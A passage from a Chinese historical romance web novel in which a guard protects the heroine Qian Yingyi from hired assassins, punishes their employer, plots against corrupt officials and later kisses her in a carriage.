花绣娘轻叹,轻掣一张圆杌坐下,“这位小姐,不瞒你说,你既晓得我是江宁织造局出来的,也该晓得做我们这行的,向来是不把本事绣给外人看,我辞任回家,与邻里关系尚可,碍着情面,有些人衣裳破了洞,裂了条口子,我都帮着补一补,我不晓得你往哪里打听到的我,还请回吧。” 钱映仪今番本就是来碰一碰运气,花绣娘婉拒自己也在预料之中,因此,她也不好强求,只能抿一抿唇,起身告辞。 她虽是个小姐,却并无跋扈嚣张、仗势欺人之意。 大约是这股和善细微打动了花绣娘,花绣娘在她离去时便多嘴问了一句:“我瞧你穿着打扮不俗,身边还跟着侍卫,想必出自高门。金陵城里好的绣娘多的是,一件值千金的嫁衣也不是没有,何苦非要大老远寻到我家来?” 钱映仪难掩心中那一抹小小的失落,遂如实告之。 花绣娘讶然,不料她竟是为了身边的丫鬟。 于是,左思右想片刻,花绣娘还是松了口,“且慢,我答应你。” 钱映仪立时高兴起来,恨不能冲到她跟前去,“真的?” 花绣娘笑点下颌,“为主子求人的丫鬟我见过不少,为丫鬟求人的主子我倒是头一回见,这嫁衣的活计我接下了,为着你这份心。” “只是有一点,不许往外说。” 钱映仪忙不迭地点头,再三保证绝不往外多说一个字。 一惊一乍后带来的高兴余韵犹长,直至二人原路折回时,钱映仪仍趴在秦离铮的背上窃窃笑着。 秦离铮稳稳托着她的腿弯,跟着笑,“昨日还舍不得春棠嫁人,今日就眼巴巴跑来替她求人,再没哪个小姐能有你这样好了。” 钱映仪听他话音,一时想岔,唇畔笑意顿停,问,“被我捡回家前,你还伺候过哪个小姐?” “你在想些什么?” 钱映仪嗤道:“你方才那话不就是这意思,你伺候过不少小姐。” 秦离铮有些失语,他只是在替皇上办事时,因公务要求去盯着那些大臣之家,少不得在其中见过人家的女儿而已,他连她们的长相都记不得。 暗道说漏嘴,稍刻,他才道:“没有,从过去到现在都只有你。” 钱映仪嫌弃撇嘴,“花言巧语。” 她话虽如此说,攀着他脖子的手却悄然紧了紧,在这林子里有些发冷,便也悄悄把脸贴在他的背上暖一暖。 窃窃的,动作很轻,唯恐被他发觉。 其实由他背着的感觉好像还挺不错。 渐渐地,她被背出这片阴冷的林子,二人行至马车前,她便仰起脸,由暖阳扑在身上照一照,舒服得连眼睛都轻轻阖上了。 秦离铮忍不住抚一抚她额前的一绺碎发,笑意也由这束暖阳带得温柔,“饿不饿?” 出来时,花绣娘也曾款留二人用过午膳再走,钱映仪哪能再麻烦人家?忙说不必。此刻叫他一问,倒真有些饿了,便把下颌轻轻点了点。 此处没人认识他们,秦离铮干脆牵起她的手放在掌心,引她往那条溪边走,“赶回去要两个时辰,带来的点心就那么点,怕你填不饱肚子,看看有没有鱼,我生火烤给你吃。” 钱映仪不防被他吓一跳,手便使力往外抽。怪哉,大约是没吃饭,软绵绵的,没什么劲。 抽不动,就由他去了。 她由他拉着行至溪边,凑巧一眼瞧见两条鱼,忙兴兴去晃他,“那儿!” 秦离铮弓腰捡了根树枝,正要起身,脸色倏然一变! 下一刻,在钱映仪尚未能回过神的间隙,他一把捞起她,暗自运用内力,飞快跃上一棵树干,把她稳当放下,“坐稳!” 钱映仪有些发蒙,一颗心提到了嗓子眼,不明白发生何事。见他飞身下去,正要骂两句,陡地在看见四周情形后,飞快捂住了嘴。 四面八方不知何时出现十来个蒙面人,均手持长刀,露在外头一双眼睛凶神恶煞,一眨眼的功夫,已将秦离铮团团围住。 秦离铮反手拔剑,倏然冷笑,“怎么,对面给你们多少银子买我的命?” 裴骥掷重金买他一条命,这事他早已知情,且前一阵子已经解决过一批江湖来的所谓的高手。 不想这裴骥杀心不改。 为首那江湖人士不与他费口舌,横刀一甩就向秦离铮掷来! “老子只认钱!” 秦离铮心中记挂着钱映仪,足尖轻点,霎时躲开那柄长刀,旋即引这波人往另一头去。 这十来号人打定主意要在今日取秦离铮的性命,下起手来格外阴狠,秦离铮剑法灵活,极快翻身躲开迎头劈来的刀刃,继而回身凶悍斩断持刀之人的胳膊。 一刹那,飞扬里的尘埃里卷进鲜血。 那人吃痛惨嚎,见他身手迅猛,眼睛四下睃寻,倏然用剩下的那只手指向一棵树,愤然喊道:“兄弟们!那女人是他的软肋!先把她拿下!” 这帮人混迹江湖,时常在刀尖舔血,也够讲义气。 眼见同伴被斩断一截手臂,忙撤二人去围钱映仪,余下几人则摆阵缠住秦离铮! 钱映仪心中一紧,已从惊骇中回神,眼见那凶神恶煞的二人毫不留情朝自己跑来,再恐慌,也咬着嘴唇逼迫自己冷静。 陡生事端,情况险急,她已被人盯住。 幸得这是棵果树,她顾不得害怕,两三下就摘下硬邦邦的果子攫在手心,拿出哥哥教的步射本事,一手扶稳树干不叫自己落下去,一手高高抬起,往其中一人的眼睛上狠掷过去! 那人吃痛捂眼,另一人见状立时加快速度,不一时,就快接近树身。 钱映仪深深吸气,又用相同的招数打在这人的太阳穴,打得他一时吃痛发蒙。 滔天的求生欲已逼得钱映仪不得不抛弃礼义廉耻,她今日正戴了那精巧发簪,盯着树下逐渐缓过神的二人,她眼色闪过狠厉,捉起裙边,握着簪身往裙摆狠狠一划—— 一截料子被她缠在手心,旋即利用二人还没回过神的间隙,迅速折断树枝给自己搭了个简易弹弓。 接下来,这二人只消靠近一些,她便弹无虚发寻着他们最致命的地方打! 那簪子虽藏有机关,可簪身小,她又从未使过,还需近身才能用,不如她制的弹弓方便。 她在高处,他们在底下。 她要稳住自己,撑到他解决掉那边的人。 可钱映仪再取巧,也比不过刀尖舔血的穷凶极恶之徒。 这二人接连被她击中,顿觉被戏耍。买主只交代要秦离铮性命,并未交代别的,一人干脆往怀里取出把短弩,面色狰狞喊道:“喜欢玩儿?老子这就送你下阴司,你与阴司老爷玩儿去吧!” “咻——” 弩箭疾速朝钱映仪射去,钱映仪心中一紧,呼吸一窒,求生本能便使她的身子躲开危险。 一闭眼,就错开那记寒光往树下跳! 弩箭擦着她的头顶而过,满头发丝登时四散落下。 钱映仪跌落在地,忙连滚带爬站起来把二人往溪边那有些歪的木桥上引! 她记得! 她记得那木桥是歪的,她是女子,身量较轻,那木桥可承受不住这二人的身形! 她只顾着往前跑,不敢回头,不敢去细想被抓住了会发生什么,身后是愈发近的脚步声,骇得她眼眶里的眼泪都不敢往外流,只能喧嗓喊道:“阿铮!救我!” 眼见快跑至木桥,钱映仪陡然往后一跌倒,头发猛然被一只手拽住,她来不及思考,不管不顾抓起地上一捧灰反手一扬! 一人捂眼,一人长刀已高举。 她骇目圆睁片刻,瞳眸里映出那人凶神恶煞的神情,旋即在刀刃劈下的瞬间猛然闭眼。 预想中的疼痛没有传来。 钱映仪等了半晌,哆嗦把脸抬起,二人也骇目圆瞪看着她。 下一刻,二人的身体歪软倒地,旋即露出秦离铮那张浸染鲜血的脸。 钱映仪呆怔在原地,大难不死之下,一句话也说不出口。 秦离铮今番已是大开杀戒,早在那二人毫不留情去捉钱映仪时,他便已没想过还要这些人活着。 解决一帮人前后不过半刻钟,令他心惊的是她竟能凭借自身本事拖着这两个人。 杀了所有人后,秦离铮的手是稍有颤抖的。说不清是杀人时过分使劲,还是险些目睹她死在自己面前。 秦离铮脸色变了变,把剑扔在地上,半跪在地去伸手捞她,“不要怕,不要怕。” 钱映仪忍不住透过他的肩遥视前方,那些人横七竖八倒在地上,一动不动,已无声息,无一活口。 她颤声问,“这些人是你的仇家吗?” 秦离铮闭了闭眼,有口难言。无法告诉她这些人是裴骥买凶来杀他,继而才好接近她的手段。 若她知晓自己被各方觊觎,还怎能安稳入睡?还怎能过顺心如意的日子?不该如此。 良久,秦离铮的嗓音干涩响起,“嗯,是仇家。” 钱映仪使力把他推开,看他满面是血,忙去捋他的袖管,“你是不是受伤了?” 左捋右捋,袖管子就是捋不上去。他玄色的衣裳逐渐模糊,钱映仪跌坐在地上,怔愣片刻,倏然捏紧拳头就狠打他。 憋了半日的泪也挥洒在尘埃里,或许是为自己哭,也或许是为他,她不去分辨,只是由哽咽变成嚎啕大哭,“我长这么大没遇见过这样的事!你要吓死我是不是!我、我差点以为自己就要死在这里了!” 一席痛诉把秦离铮说得连骨头都隐隐泛疼,他一把揽紧她,千言万语在此刻只汇成一句反复念出口的话,“是我不好,是我该死,日后不会再有了。” 钱映仪匍匐在他肩头哭,“你有仇家你早说呀!你与我说呀!我钱家是没有本事替你解决麻烦还是怎的!你知不知道,我起先以为你打得过他们,后来你迟迟不来救我,我还想我还想你是不是死了!” “你死了,留我在这里,我怎么办!” 秦离铮一连迭顺着她的背轻抚,待她哭诉过恐慌后,忙去掀她的裙摆,“让我看看你的脚,有没有扭伤?” 很奇怪,劫后余生又哭过一场,钱映仪竟还晓得礼义廉耻了,她把脚往裙摆里头缩,说话犹带着鼻音,“我、我没事。” 秦离铮态度却异常强硬,“那么高的树上摔下来,怎会没事?” 他一把攫住她的脚腕,把鞋袜褪去,左右细细检查,掌心握着她的脚背来回轻摆,问,“疼吗?” 钱映仪泪涔涔的眼轻眨两下,如实答道:“不疼,我运气好,没扭到脚,也没摔伤自己,倒是你,你究竟有没有哪里受伤?” 听她说没事,秦离铮暂且放心,替她穿好鞋袜,捞起她往马车那头走,大约为了哄她放松,便刻意学她,“我也运气好,没被砍到手,也没被砍到脚。” 钱映仪稍缓心神,回到马车里后,她免不得去问,“那、那些尸体怎么办?” 临了,她又有些后怕,“咱们方才闹这么大的动静,有没有被人瞧见?” 秦离铮抚一抚她的脑袋,沉声道:“待在马车里别出来,我去处理。” 钱映仪只好压下忐忑的一颗心,待车帘落下,她浑身气力便尽数往外泄,整个人都歪倒在车壁上 当真是惊心动魄。 钱映仪轻轻阖上眼,忍不住在心里回想方才的惊险,又忍不住去想,什么样的深仇大恨,能引十来号人不要命的杀他? 约莫一个时辰的功夫,秦离铮折返回来,面上血污已洗净。干脆钻进马车里,递了张湿帕子与她擦拭,见她披散发丝,遂顺手替她编了条斜斜垂下的辫子。 钱映仪挑帘去望,那地面不见一具尸体,她默然片刻,握着那辫子来回摩挲,忍不住问,“你是如何处理的?” 秦离铮轻垂眼皮,低声道:“埋了。” 他为自己又扯出一个“善意的谎”而发讪。北镇抚司的诏狱里,什么都有,处理十来具尸体,根本无需费劲挖坑掩埋。 为安抚她,他又揽紧她轻拍肩背,道:“放心,村子离得远,方才的动静不过片刻,无人发觉此处发生过什么。外头又阴沉沉的,马上又要落雨,那些血迹很快便会冲刷干净。” 钱映仪越听越觉得不大对劲,又暂且说不清个缘由来。见自己又歪在他怀里,忙把他一推,“那些看着都是江湖人士,你还有什么仇家,你去外头解决干净!不许再有今日的情况出现!我、我要回家去,你还不出去!” 紧赶慢赶,二人总算赶在暴雨落下前回了琵琶巷,只是已然天黑。 钱映仪今日过得尤其胆战心惊,碰上这样的事,她没想在家里说,一进宅子便拔脚往云滕阁去,要把浑身的脏污都给洗净。 给夏菱吓一跳,一连迭追问她去了何处。 她也只是找了个借口敷衍过去。 而秦离铮这头,目视着她进了云滕阁,脸色倏冷,径自翻墙进了隔壁的宅子。 裴骥正听过一场戏,心情犹好。听小厮称备好水,遂转身往浴房行去。 甫一将门掩好,双膝便传来剧痛! 他面色发白跪在地上,垂眼往下扫视,这才发觉有两颗铁钉钉在了他的膝盖上! 他骇然扭头张望,那架重金购置的山水大插屏后转出个高大身影,冷冰冰盯着自己,旋即一步一步朝自己走来。 裴骥心中大惊,暗道第二波江湖高手定然已失手!忙不迭就扭头要喊人。 可惜,他的速度没有秦离铮快。 秦离铮封住他的口,顺手把他提起,蓦然泄愤似的狠踹他双膝前的铁钉。 “咔嚓——” 满室寂静,骨头裂开的声音犹显。 秦离铮的手掐紧裴骥的脖子,逐寸收紧,平静道:“我是不是叫人给你带过话,再舞到她面前,我就折了你两条腿。”—— 作者有话说: 潜在的危险就这样意外出现在映仪身边,聪明映仪迎来生涯里的第一道难关,成功攻克[摊手] 第32章 “嗬嗬”裴骥被掐得喘不上气,眼眶发胀出血色,他毫不怀疑,眼前的这个侍卫不止要折断自己两条腿,他更想杀了自己。 秦离铮掌下益发用劲,面上无甚神情。待裴骥将要窒息而亡时,他复又松一松手,待裴骥喘了两口气,他又收紧。轻而易举把裴骥的一条命玩弄于鼓掌。 另裴骥生出一种错觉——倒不如死了来得痛快。 很可惜,他手中藏有账本,暂且还死不得。 秦离铮陡然一松手,横剑在裴骥咽喉,压出一道血珠,“裴官人,你是生意人,知道权衡利弊,我今日只是折断你两条腿,你若惜命,就离她远远的。” 裴骥狼狈歪在地上,喘了半晌才似捡回一条命,顾不上骨头断裂的疼痛,眼珠子死死盯着秦离铮,“你究竟是什么人?” 两次暗杀都未能取他性命,他绝非普通侍卫。 秦离铮起身睨他,剑身回鞘,目色闪过轻蔑,淡道:“只是侍卫,裴官人,你可要 记住我说的话,再想接近她,或是接近钱家,就想想你的一条命。” 秦离铮已然把话说开,裴骥却仍不死心。 可惜那骨裂之疼已叫他面色惨白说不出话,只能眼睁睁看着这侍卫离去。 一场雨说下就下,雨点沉重,狂风乱卷,振得屋檐噼啪绽响。 钱映仪早已将自己洗净,也已填饱肚子。因疲累不堪,四肢酸软,她早早歇了灯爬进被衾,此番听着檐下的雨声,早前留在心里的那抹恐慌开始像杂草一样疯长。 正倒在帐子里发怔,先前响过一次的西窗复又被推开。 动静十分轻。 可钱映仪宛如惊弓之鸟,甫一听见,就忙坐起身,连鞋都顾不上穿,光着脚就下了床榻。 果真是他。 秦离铮也已洗净浑身脏污,暗色的袍子穿在他身上依旧合适,动作间,他身上也依旧是那抹清爽的薄荷香。 似午晌的那场刺杀是一个惊心动魄的梦。 屋子里唯有角落点了一盏明角灯,昏昏暗暗的,她的投影映在墙上,有种说不出的单薄。 四目相对,少了从前的暗自较劲,多了一抹担忧。那灯里的烛火轻晃,这抹担忧也由一星半点渐渐变得浓重。 彼此默然片刻。 见她光脚,秦离铮轻攒浓眉,上前要抱她。钱映仪吓一跳,垂下视线一瞧,忙旋身躲进帐子里。 因喜洁净,她一双脚悬在榻边要缩不缩。缩进去,怕脏了睡觉的被衾,不缩留在帐子外头,又恐被他瞧见。 这厢正犹豫不定,脚腕传来一阵温热。钱映仪身子一僵,透过朦朦纱帐去望。 他不知何时靠近,落了条膝在榻脚。她的脚踩在他的膝上,他手里也不知何时摸了条帕子出来,正替她擦拭着脚心 她好想逃。 与上回闯进她的闺房比较,他这回并未遮眼。而她,说不清是什么滋味,也许接连受到刺激的心已不畏这些,又或是她正渐渐沉溺在这样“偷偷摸摸”的隐秘中。 因此,钱映仪轻垂着眼,看他替自己仔细擦拭,脱口的话唯余一句,“你来做什么?” “看看你,”秦离铮握着她的脚腕送进被衾,隔着层层纱帐抬脸望她,“还怕吗?” 钱映仪瞧着他黑漆漆的眼,那双眼眨一眨,微卷的睫毛像往她心头轻拂一下。 她乍然想,他仿佛有时偏爱抬脸瞧她,他时常把自己摆在她的下游,每每盯着她的眼神像在渴求她的怜爱。 她没来由地拨开纱帐,露出个小小的缝隙,在他轻如羽毛的注视下,点了点下颌。 “有点,”铜漏声声往下坠,很快被屋外的滂沱雨声覆盖,天地万物正被雨水冲刷,树影婆娑,摇摆不定,一记炸雷把她惊了惊,她细细的嗓音由纱帐里传出来,唯独攫紧了秦离铮的心,“你能先别走吗?” 钱映仪透过纱帐瞧他,这一刻,好似摒弃了一些东西,譬如她已不大在意——倘或夏菱她们忽然进来该怎么办? 明角灯的光束柔和,半扇暖光打在他的脸上,他凝望着她,目色隐有诧异,眼梢也倏然往上抬了抬,钱映仪的呼吸也忍不住跟着他走。 四目相对,一些于彼此心知肚明的隐秘在这半扇光里被剥开。狂风暴雨在外席卷,钱映仪觉得快听见自己的心跳声,扑通,扑通。 半晌,秦离铮抬手把帐合拢,转背在她床沿外坐下,回与她一番安心,“睡吧,我在这守着你。” 他晓得,她向来只喜欢把情绪表达出一半。说有点,那就是十分害怕。 钱映仪微抿下唇,悄然钻回被衾里,侧身对着他,露出一双清亮的眼睛,“你别乱动,不要被夏菱听见声响,她耳朵灵得很。” 怪哉,她竟“纵容”他,“包庇”他。 秦离铮笑,“好。” 风声拍打窗柩,注定这场暴雨要下一整夜。隔着层层纱帐,即使知道他在,钱映仪仍有些惴惴不安,她翻来覆去睡不着,干脆把手由帐下伸出,轻戳他的背,“睡不着,你与我说说话。” 秦离铮抿一抿唇,没有回头,“你就没有什么要问我的?” 回来半日,她只字不提他为何有那样多的“仇家”,只字不提这一番被他连累险些丧命。他心中的惶然益发重,甚至生出一股冲动,倘或她问,他便全盘托出。 可身后只默然片刻,她好似把脸埋住,嗓音又闷又轻,“有什么好问的呀,你是个活生生的人,是人就有亲朋好友,也有仇家,像我,不也时常有那俞敏森来与我作对,我想了想,今日或许是好运气都用在花绣娘那里,这才导致我误打误撞被你连累,可你也在最后要紧关头把我救下了,我不怪你。” 最后一句话轻飘飘的,听在秦离铮心头格外沉重。他忽然发觉自己又把她从头到脚重新认识了一遍。 秦离铮的目光落在那盏明角灯上,那灯有几面,每一面都亮着闪闪烁烁的光,像极了她。时而果敢,时而坚韧,每一面都刻画着她,今日他拨着灯转一转,又发现了她那时常替人考虑而从不叫人难受的纯真天性。 他默然太久,那灯芯爆响,灯火跟着跳一跳,她也用指尖戳他,“你怎么不说话?” 秦离铮深深吸气,把话岔开,“你今日很厉害。” 她睡不着,无非是太害怕。他知道,她喜欢听人夸她,抛开那些特性,她也拥有最普通的一面。 果然,钱映仪扭头望向帐顶,终于扯出一抹得意的笑,“那是,你都不知道我当时在想什么,亏得哥哥姐姐打小就教我,也亏得我不是大门不出二门不迈的人,我那弹弓做得厉害吧?” 渐渐地,她稍显松缓,有些惋惜地阖上了那双明净锃亮的眼睛,“他们还敢拿短弩射杀我,现在想来,我下手该再狠些!” 秦离铮无声跟着她笑,只想回身把她抱一抱。为安抚她,也为安抚自己,他直至现在都不敢细细回想当时险状。半晌,到底遏制住自己,倏然叫她睡出来点。 钱映仪狐疑往外挪一挪,那半截手臂就搭在外头。 他的掌心紧紧包裹住她的手,嗓音不复干涩,渐渐温和下来,“这样,能不能安心睡?” 钱映仪的手下意识轻轻握拳,平静的心头轰闹不已。放眼整个金陵城,哪个小姐敢叫侍卫半夜入闺房守在床榻旁?又有谁敢顶着隐秘的情绪与其交握? 可她这回甚至没有假意抽出手,就为着这紧密贴合的掌心里有她此刻寻求的一抹安心。 因此,她由他握着,没有答话。 盯着他宽广的背影看了片刻,旋即阖上了眼。 这场雨接连下了几日,淮河两岸的石墩被洗涮得益发锃亮光滑,沿河生长的花影也斑驳摇晃。好在金陵的天说变就变,躲了几日懒的太阳也骤然由云层里探出来。 乐馆内,褚之言渐渐敛了笑,不赞同望了秦离铮一眼,“指挥,这样会打乱咱们先前的计划。” 秦离铮亦神情漠然,握着杯盏不讲话。 屋外隐有乐馆伶人巧笑嫣兮,弹唱对饮犹显奢靡。半晌,秦离铮道:“我不想再等,提前收网,只要能揪出一干人等,对皇上是个交代,我自己也能向映仪交代。” “早点解决他们,我才能安心。” 褚之言仍不赞同,轻叹一声,道:“指挥,过完夏税便是秋收,再是年关走运河送物资去京师,他们定然会有大动作,届时一锅端了,一了百了,难道不好吗?” “我知道,那裴骥下手阴狠,这次连累了钱小姐,但考虑到咱们的计划,”他道:“提前要收网,是不是会打草惊蛇?” 秦离铮起身推窗,淮河水面浮游精丽画舫,酒肆茶肆门前人头涌动,不远处的行院娇笑声声,对酒笙歌。他把绚丽收进眼底,沉思片刻,轻轻叹息,“那便让他们自乱阵脚,提前暴露。” 他阖紧窗,淡道:“差几个人回京师,先把他们在京师的庇护伞折了,常容远在京师,却与蔺边鸿书信来往得多,与其关系定然胜过与燕榆的,碍着这个,燕榆对蔺边鸿也向来客气,二人一条船上的蚂蚱互相绊着腿,不分彼此。” “他二人又是姻亲,那蔺玉湖不是常欺辱燕文瑛?”他半扯出一抹冷冰冰的笑,“我倒要看看,没了常容,燕榆对蔺边鸿的态度是不是还这么和气。” “没了这庇护伞,又牵扯利益,我不信他们还能握手共乘一条船。” 褚之言心头一动,神情稍沉,“常容是司礼监的人,可不好动。” “机会都是自己造出来的,”秦离铮轻抿一口温茶,“都在皇上身边做事,常容不是时常觉得自己被掌印太监压了一头?” “那”他望向褚之言,黝黑深沉的眼底勾出一丝意味深长,“他想要无上的权利,也在意料之中吧?” 说到此节,褚之言暗抽嘴角,评点:“你想让咱们的人在暗中做局,让皇城里的人以为常容有谋逆之心。” 秦离铮不以为意,“皇权至高无上,从古至今多少人为那个位置挣得头破血流,一个太监想做皇帝,又有什么不能的?” 褚之言凝视着秦离铮半晌,倏然笑了,“要不怎么说,你能踩着别人上位,你有时候也挺阴的。” 秦离铮轻垂眼皮,盯着手中那盏茶,泛着淡淡涟漪的茶面映照出他的脸,他瞧着熟悉,下一刻,又觉得陌生。 若有那个可能,他也不想算计别人。可在这名利浮沉的世道,不是你算计我,就是我算计你。很多时候,他别无选择。 忽然一阵微风,从窗隙里钻进来,秦离铮蓦然回神,起身向外走。至于褚之言口中那个机关算尽的他,被风吹一吹,也逐渐隐入淮河两岸,不见踪迹了。 光阴骤转,荷香清露坠,柳动好风声。蝉蛙交鸣,一晃六月悄然来袭。 夏菱由外头回来,脸上红光满面,隐有骄傲,因何如此呢?自然是印宝阁那唤陈潮的东家又分了一月盈利与钱映仪。 钱映仪正埋首案前赶制那话本子书封上的小像,闻声把脸抬起来,接过夏菱递来的锦盒,把那沉甸甸的银子扫量一眼,自眼梢里泄出笑意。 她心情大好,旋即就要出门,“往江宁买的画笔是挺好使呢,夏菱,阿铮在外头吧?时辰尚早,我往江宁去一趟。” 她已习惯叫“阿铮”,夏菱听得把她悄悄望一眼,只道小姐在光阴流转里已离不开他,当即便暗自盘算起“入赘”一事来。 夏菱想,届时老爷与太太回金陵,若发觉小姐一颗芳心暗许给家里的侍卫,还是打外头捡来的侍卫,少不得要训斥小姐,强行将二人分开。 那她这做奴婢的大抵就能冲在前头,替二人说尽好话。 这头想得美哉,那头钱映仪已转去屏风后换衣裙,没几时,转出个清爽可爱的俏丽美人。 钱映仪笑吟吟道:“还是老样子,姐姐若来问,就说我出去办事啦!” 这些日子钱映仪又与秦离铮单独出了几趟门,到底引得钱玉幸生疑,一日便跑来云滕阁问,究竟有哪样的事要每回都不带丫鬟? 钱映仪一面为自己找借口,一面又忍不住要放任自己掉进“偷偷摸摸”与他出门独处的隐秘陷阱里。 只能说自己在金陵这些年的日子不是白熬过来的,她自有她的事要办。加之爷爷晓得她就是金陵小红豆,也跟着劝了劝钱玉幸,命她少管妹妹,因此,一来二去,就蒙混了过去。 这厢理好发髻,往脑袋上簪了两朵蝴蝶兰软簪,钱映仪旋裙起身,径自出了云滕阁。 秦离铮远远倚在树下躲凉,一见她打扮过,便知她又要出门,当即站直身子迎过去。 二人默然出了门房,依旧秦离铮驭马,钱映仪端坐马车内。 大半个时辰的功夫辗转至江宁那卖画笔的铺子,钱映仪方进去挑选一阵,不一时,就把十来支画笔抱了满怀。 秦离铮则始终不近不远跟在她身后。 这铺子里的生意不错,钱映仪正欲转身,迎面撞上个书生,那书生见她是女子,忙缩着肩往后躲,一时不慎手里的东西就洒落在地。 钱映仪眼尖瞅见脚下散落一本《滩水鬼记》,正是她年关时写的那个故事,便把那话本子捡起递去,笑吟吟搭话,“你也看金陵小红豆写的志怪话本啊?” 那书生接过话本向她作揖,本没想与她讲话,闻声把她一瞟,如见同道之人,“这位小姐也看这个?” 钱映仪抿出个笑,“看,怎么不看,我最喜欢看里头的男人肠穿肚烂。” 她看着就是个乖巧伶俐的小姐,开口闭口血腥之事,引得那书生哆嗦一下,讪笑道:“我、我也是。” 两方到底陌生,攀谈过两句倒也作罢。 出去时,钱映仪突发奇想,起了坏心思,目色渐渐狡黠,歪着脸去瞧秦离铮,问,“你看不看话本子啊?” 有小童嬉笑吵闹跑过,秦离铮握着她的胳膊轻掣到身边,垂眼凝视她,把她那些画笔接来,“是想问我有没有看过金陵小红豆写的话本子?” 钱映仪把眉轻剔,“哟,你还挺会猜,那你看过没有?” “看过。” 说不清是什么缘故,钱映仪此刻倏然想知道他是如何评点自己的,又问,“那里头多的是血腥描述呢,我想,那金陵小红豆定是个面生络腮胡的持刀大汉,你说是不是呀?” 秦离铮不去戳穿她,装模作样把脸转回去,由太阳照得阖着眼笑,“别的我不知,我猜,这金陵小红豆应当是位女子。” 钱映仪悄悄瞥他,“为什么?” “她的话本故事里,向来都是男子落得凄惨下场。”秦离铮言简意赅答话。 睁眼看她圆溜溜的眼睛,他心头倏软,又变着法夸她,“而且,我想,这位金陵小红豆私下应是可爱娇俏之人,瞧她书封上的那些小像就能猜出一二。” 说得钱映仪心头暗爽,憋不住那一抹笑,惊觉在他跟前笑出声后,又忙捂着嘴往马车那头跑。 秦离铮也跟着笑,忙快步跟上她。 钱映仪跑得欢快,踅至马车停靠的那条小巷口,本欲往里拐,眼见日头正好,想着在江宁多转一转,脚底一扭便又跑开。 她顺手管成衣铺的东家买了个散卖的包袱皮,一路见着稀奇漂亮的玩意儿就买下,没几时,肩头的包袱就装得鼓鼓囊囊的,她人也跟着气吁吁停下。 总算把包袱递与他拿着,自己解下腰间的折扇替渐染红晕的脸降一降温。 正歇气时,眼尖撞见一抹身影,不防低呼一声,“燕大人?” 五月末接连落雨,江宁一带的农户又多种棉花,好容易又出太阳,因此沿着河岸一带的住户门前都晒了些棉花。 此番正直午晌,日头最烈,暴晒于棉花不利。因此晨起大费周章晒在外头的棉花又要收一收。 燕如衡身为县丞,正领着袁班头与几个衙役在一旁帮衬,穿一身绿色补服,腰身渐弯,干活的动作虽笨拙,却因面容俊美,引得一众婶娘止不住地送帕子递瓜果。 这头钱映仪低唤一声,他似有所感,扎在棉花堆里的身子陡然站直,远远朝钱映仪望来。 见果真是她,燕如衡心头陡然欢喜,忙不迭朝袁班头招手,那袁班头侧耳听了,遂拍一拍身上的棉絮,朝钱映仪跑来。 离近了,袁班头气吁吁道:“钱小姐,大人差小的给您带话,说是让您等他片刻,他许久没见您,有话与您说。” 钱映仪讶然片刻,把下颌轻点。 袁班头便又一个猛子扎回了棉花堆里。 钱映仪时常只在应天府,应天府的那班官员哪会帮百姓做这个?今番陡然见到燕如衡帮衬百姓,她倒觉得稀奇,便够眼往那处多瞧了瞧。 正瞧得认真,硬邦邦的一堵肉墙乍然出现在她身前,往上看,是秦离铮那张没什么表情的脸。 钱映仪想起他那时吐露心扉,说什么嫉妒。她只蒙了片刻,就站起身来凶巴巴戳他的胳膊,“怎么,约法三章,可没有约定我不许和他说话!” “你别这样小气,”她道:“我都答应了每次单独与你出来,有没有做到?” 就是这半晌的功夫,燕如衡那头已然收尾,他扑了扑身上的棉絮,没几时就寻了过来。 见她身旁只有侍卫一人,没有丫鬟,燕如衡心底有个大致猜想,只是如今他心境不一样,便把那抹酸涩在心底藏好,朝钱映仪露出个温柔的笑,“映仪。” 钱映仪瞥了眼 秦离铮,遂站去一旁与燕如衡讲话,“燕大人,真是巧哩,每回我来江宁都能碰上你,你身边的班头说你有话与我讲,你要讲什么呀?” 燕如衡引她往河岸边上去,稍刻,二人停在一棵柳树下,他道:“也没什么,就是许久未见你,想与你说说话,你近来都在做什么?” 钱映仪笑了下,“时常在家待着呢,你那夜不是瞧见了么,我嫂嫂也来金陵了,除了偶尔出出门,我便与嫂嫂、姐姐一起在家中说说话。” 她见他肩头有些棉絮,便抬手指一指,“这儿还有。” 又道:“你还会替百姓们收农作,我瞧江宁的百姓都挺喜欢你。” 这话说得燕如衡拍肩的动作一顿,再望向她时心中便忐忑起来。 自打上月与家中闹开,他已打定主意做回从前那个正直的自己,已有多日不曾归家。 临近夏税,也叫他不由自主地想,倘或他能利用这次夏税,反过来监视他那名义上的爹,倘或能整理出账本以作要挟,是不是从此以后,他也能脱身了? 这一夸赞,令他惭愧。默然片刻,他便问,“我有一事想问你,映仪,在你心里我是个怎样的人?” 钱映仪一怔,不好评判,只道:“是个还不错的人。” 燕如衡轻垂着眼,唇畔牵出一抹笑,试探问,“我们算是朋友,倘或我远不如你想的那样,也有不好的一面呢?” 钱映仪不懂他所言及的“不好”究竟是什么,但他身为官员,无非贪墨与欺压百姓,她不好细想,便半开玩笑似的答道:“那或许我们道不同,无法再做朋友。” 蝉声嘹亮,燕如衡心一颤,偏头望向她。 很明显,她厌恶那样的人。那他又怎好再任凭自己沦落成那样?他想,慢慢来吧。 至于那个侍卫,燕如衡透过她的肩头去看她身后那道身影,眸色微闪,只道钱家不会叫她嫁与侍卫,便也没放在心上。 半晌,面色不改,仍旧是那副温柔笑颜,“就是随口问问,不早了,我还有事要忙,请早些回去吧。” 话毕,便朝钱映仪稍稍颔首,旋即往来时的那条路径折返回去。 钱映仪有些莫名。 好在她也不是爱胡思乱想的性子,当即耸一耸肩,自顾旋裙回到秦离铮身边。 一眼望见他又板着脸,钱映仪瘪瘪唇,夺了包袱抱在怀里,嗤道:“小气!” 一路行至马车前,他都未曾开口说话。钱映仪背着他暗暗翻了翻眼皮,登时捉裙往马车上爬。 怎知刚坐稳,他已跟着钻了进来,一阵天旋地转,她已被他握着腰跨坐在他的腿上。 “我现在要亲你,等不得,给你三息的功夫,”他道:“三息过后,你不说话,我就当你同意了。” 钱映仪有些发怔,眼瞧画笔与包袱散落在马车里,意识到他在说什么,刚想启唇,眨一眨眼,他就掐着她的下巴亲了上来,暗带一股凶狠的意味。 钱映仪两片唇肉被堵住,眼瞧他大有不放过她的趋势,她莫名也来了气,紧紧绷着唇不叫他窜进来。 见她较劲,秦离铮沉了沉眼,腿用力把她往上颠了颠,她一阵惊呼,他顺势追进去。 湿漉漉的唇舌裹着滚烫气息勾缠着钱映仪,钱映仪只觉他吻得急切又用力,再不挣脱开,她真要死在这! 她往他舌尖上咬一口,趁他稍有松缓,便抓准时机仰头逃开,他的唇就印在了她的脖子上。 